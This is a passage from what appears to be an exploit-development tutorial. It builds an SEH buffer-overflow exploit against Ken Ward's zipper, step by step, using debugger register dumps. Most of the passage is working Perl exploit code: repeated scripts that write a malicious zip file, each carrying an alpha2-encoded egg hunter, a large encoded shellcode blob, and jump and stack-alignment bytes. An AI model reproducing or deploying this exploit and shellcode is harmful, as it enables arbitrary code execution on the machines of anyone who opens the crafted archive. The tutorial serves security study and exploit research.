"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

print "[+] Writing shellcode to file\n";
open(FILE,">c:\\tmp\\shellcode.bin");
print FILE $shellcode;
close(FILE);
print "[+] Wrote " . length($shellcode)." bytes to file\n";

Create the zip file, trigger the crash in the debugger, let pop pop ret execute, and hold when you land at the jump back (at nseh). Don’t execute the jump back yet.

Look on the stack, and try to find the location where the egg hunter is located. A few minutes ago we found the begin of our payload somewhere before 0x0013F58E, so we should find our egg hunter somewhere around that location :

Our egg hunter is located exactly at 0x0013F58E (which makes sense, because we basically wrote the egg hunter directly after the spaces, and that is the same location where our A’s were found a few moments ago)

Look at the registers :

EAX 00000000
ECX 00415A68 zip4.00415A68
EDX 7C9032BC ntdll.7C9032BC
EBX 7C9032A8 ntdll.7C9032A8
ESP 0013F00C
EBP 0013F0E8
ESI 00000000
EDI 00000000
EIP 0013F908
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00000246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -UNORM 96D9 073C0000 02201372
ST1 empty +UNORM 1F80 00000171 BF820DF6
ST2 empty %#.19L
ST3 empty +UNORM 00F9 00000171 BC6B12B8
ST4 empty +UNORM 5000 00000000 BF820D30
ST5 empty -UNORM FF98 00000000 F4424D64
ST6 empty %#.19L
ST7 empty %#.19L
               3 2 1 0      E S P U O Z D I
FST 0220  Cond 0 0 1 0  Err 0 0 1 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0

How can we now put 0x0013F58E into edx, in a reliable way ? We cannot just hardcode the address into edx…

In order to make it reliably, we have to take a value from another register, a value that is put in the register by the application itself… and then add or sub an offset from that register until edx points to the desired value.

What if we take the value of EBP ? It currently points at 0x0013F0E8. In order to get to 0x0013F58E, we need to add 1190 bytes to that address :

So that means that the instructions we need to execute in order to get the desired address into edx, and then jump to edx (to get the egg hunter to execute), could look something like this :

push ebp
pop edx
add edx,0x4A6
jmp edx

or, in opcode :

That’s 10 bytes of code that needs to be wrapped into a custom decoder. Good deal.

Preparing the custom decoder : align esp

Before we can look at building the custom decoder (to reproduce those 10 bytes of code), we need to figure out how we can make the decoder write these instructions so we can execute them in a reliable way.

The custom decoder, as you will see (or as you have already seen in the quickzip exploits), uses push eax instructions to write the original code to the stack. By making the stack pointer (esp) point at a location that sits below the decoder, the reproduced/original code gets executed when the decoder finishes running.

So before we get the custom decoder to run, we have to set esp to a good location first.

How would you approach this ? How can you, based on the current state of the registers and stack, make esp point to a good location ?

Go back to the debugger. We are still at the location where the code at nseh would trigger a jump back.

When the jump back would be made, we would end up at 0x0013F8A2, which is 102 bytes before the current location :

At that moment, ESP will still point to the 0013F00C, which is way before the current EIP location. So when the jump back is made, we will have to put some “esp alignment code”, followed by the custom decoder. The esp alignment code needs to make esp point to a location after the custom decoder.

Look back at the contents of the registers 2 screenshots ago. None of the registers points to a good address in that perspective. So basically we cannot just take a value from an existing register and put that in ESP, because none of the registers contains a value that points to a location that would end up after the custom decoder.

What would you do in this scenario ?

Answer : if we look on the stack, we can see that the 5th address on the stack may help us out :

esp currently points at 0x0013F00C. The 5th address from the top of the stack contains 0x0013F908 (which is the address of nseh – just fyi – doesn’t really matter that it’s nseh – only the address itself and how it relates to the location where the custom decoder will be placed is important)

That’s nice, if we can take this value from the stack and put it in esp after we made the jump back (at nseh) to 0x0013F8A2, then esp would point to an address (0x0013F908) that sits after 0x0013F8A2 (where the esp alignment code + custom decoder will be placed located).

So that means that we can do this :

Jump back at nseh (to 0x0013F8A2), and land at some code that would
pop 5 values from the stack and make esp point at the 5th address, and then
execute the custom decoder which will push the reproduced code to the stack. esp will point below the custom decoder, so when the custom decoder has finished :
the reproduced code will get executed and the jump to the egg hunter will be made

Sound fair, right ?

The total amount of code we can spend for the esp alignment code and the custom decoder = 102 bytes minus the 10 bytes of reproduced code (which will be pushed to esp at 0x0013F908).

Ok, what are the instructions we need to execute to align esp ?

we will simply do this :

pop eax (0×58) : takes first address from top of stack
pop eax (0×58) : takes second address from top of stack
pop eax (0×58) : takes third address from top of stack
pop eax (0×58) : takes fourth address from top of stack
pop esp (0x5c) : takes fifth address from top of stack and make esp point at it

0×58 = “X”. 0x5C = “\”. When building the exploit for quickzip, we noticed that a backslash would not do any harm. So let’s give it a try.

5 bytes of alignment code, 10 bytes of space for the reproduced code – that leaves us with 102 -5 – 10 = 87 bytes of available space for the custom decoder. Sound like a plan.

Let’s see if we can get esp to align first. We will change the exploit code, so the last 102 bytes before nseh would contain

the esp alignment code
some E’s (to indicate the space we will have available for the custom decoder)

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x58\x58\x58\x58\x5c";
my $decoder = "E" x (102 - length($espalign));
my $junk = $egghunter .
   "A" x ($offset - length($filename.$egghunter.$espalign.$decoder));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$junk.$espalign.$decoder.$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

Create the zip file and load it into the application. Look at what it looks like before trying to trigger the crash :

Hmmm – that does not look as nice as it used to. The “fake” filename sits before the backslash (0x5c) in the payload, so it is treated as a folder name. The filename now contains EEEEEE’s (which is the space available for the custom decoder).

Attach the debugger and try to trigger the access violation :

“Couldn’t view file”… Ouch – it looks like the backslash broke our exploit.

Damn. How can we now make esp point to a good location if we cannot pop a new value into esp ? It even doesn’t really matter if we have to make esp point to a location below or above the custom decoder, because in order to so so, we’ll still want to pop a new value into esp.

Fixing the esp issue

This is what I did.

Instead of using the “forbidden” pop esp command, which would put a new value directly into esp, I used instructions that would modify the value of esp. A single pop or push instruction already influences esp, but we need to close a gap between the current address in esp (0x0013F00C) and a location below the custom decoder (let’s say 0x0013F908). There are 2300 bytes between those 2 locations, and a single pop would increase the value at ESP with 4 bytes.

That would mean that we would need to write 2300 / 4 = 575 pop instructions. Ok – can be done, but there is a faster way. Where a pop instruction increases esp with 4 bytes, a popad instruction ( = 0×61, which is also a valid character) will increase it with 32 bytes at once. That means that we would only need 2300 / 32 popad instructions = about 72 popad’s. That’s more like it.

The issue we have is that, instead of 5 bytes of esp alignment code, we would now need 72 popad’s. So after jumping back 102 bytes from nseh, there would not be enough space left to write our custom decoder before overwriting nseh. We will take care of this in a minute. First, it’s important to fully understand the impact of these changes.

A single popad would replace all values in all registers. We had the idea to use the current value in ebp, put that into edx, and add 1190 bytes to edx, to make edx point at the start location of the egg hunter.

This, obviously, cannot be done anymore. After a single popad, the value in ebp will be gone. So we will need to come up with another solution. Before we can build that solution, we need to see what the registers and stack look like after 72 popad’s are executed.

Furthermore, as stated earlier, we will replace the 5 esp-alignment code bytes with 72 popad’s, but there won’t be enough space left for the custom decoder.

So what we will do is jump back another 102 bytes and place our 72 popad’s about 204 bytes before nseh. That should give us more space to place and run the custom decoder.

The “test” payload buffer would look like this :

fake filename
egg hunter
filler1
72 popad’s
filler2 (up to 102 bytes)
jump back 102 bytes, to “72 popad’s”
filler3 (up to 102 bytes)

Total size of the payload buffer so far = 1022 bytes. Next, add to the buffer :

nseh (jump back to “jump back to 72 popad’s”)
seh
filler4
shellcode + “.txt”

Total size of the payload buffer = 4068 bytes

We will probably have to place the entire custom decoder at filler3, so at the end of filler2 we will have to jump to filler3 (to avoid ending up in a loop because of the jump back)

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x61" x 72;  #make esp happy
my $filler2 = "A" x (102-length($espalign));
my $jmpback="\x74\xf7";     #jump back 102 bytes - to $espalign
my $filler3 = "A" x (102-length($jmpback));
my $filler1= "A" x ($offset - length($filename.$egghunter.$espalign.$filler2.$jmpback.$filler3));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$egghunter.$filler1.
$espalign.$filler2.
$jmpback.$filler3.
$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

Create the zip file, load it in zip4.exe, attach the debugger, trigger the crash. Set a breakpoint at your SEH address and pass the exception. Breakpoint should be hit.

Step through the following instructions :

- let the pop pop ret execute and land at nseh

- the jump back instruction at nseh will execute a jump back to 0x0013F8A2, where our second jump back is located

- execute this second jump back, we land at the first popad instruction.

- step through all 72 popad instructions. Right after the last popad instruction is executed, our registers and stack look like this :

ESP now points at 0x0013F90C. EIP now sits at 0x0013F884, so that is above the address in ESP. That means that – if we can write to ESP, we might be able to get the reproduced decoded code to execute.

The first hurdle is taken.

The next step is to write the custom decoder. Before we can do that, we need to evaluate/modify the instructions that we want to get produced by the custom decoder.

The initial logic of using the value in ebp to populate edx doesn’t make sense anymore. ebp is now overwritten with 41414141, so we cannot use that address as an offset to the begin of the egg hunter. We need to use something that is dynamically generated, something that is already in the same address range, so we can just add or sub some bytes in order to get to the base address of the egg hunter.

Building the custom decoder

As explained above, we cannot take the value from ebp to build a new value in edx… But there’s an easy fix for this. Look at the stack again.

The 72 popad instructions made esp point at 0x0013F90C. The second address on the stack (at 0x0013F910) contains “0x0013F930″, so perhaps we can use that value as base for edx, and do some basic math, in order to make it point at the address of the egg hunter (0x0013F58E). In fact, if we put 0x0013F930 in edx, we have to subtract 930 bytes (0x3A2) from that value to get to our desired result :

sub edx,0x3A2 (\x81\xea\xa2\x03\x00\x00)
jmp edx (\xff\xe2)

= 8 bytes of opcode

In short, before the custom decoder will run, we need to get the 2nd address from the stack into edx. Easy : just do 2 pop edx instructions right after the 72 popad’s and we get what we want (0x5a = “Z”). Each pop instruction will change esp with 4 bytes, but we will still have plenty of space between the end of the custom decoder and the location where the reproduced code will be written to, to make it work.

Let’s see if our theory works :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $espalign="\x61" x 72;  #make esp happy
my $edxalign="\x5a\x5a";  #make edx happy too
my $filler2 = "A" x (102-length($espalign.$edxalign));
my $jmpback="\x74\xf7";     #jump back 102 bytes - to $espalign
my $filler3 = "A" x (102-length($jmpback));
my $filler1= "A" x ($offset - length($filename.$egghunter.
   $espalign.$edxalign.$filler2.$jmpback.$filler3));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$egghunter.$filler1.
$espalign.$edxalign.$filler2.
$jmpback.$filler3.
$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
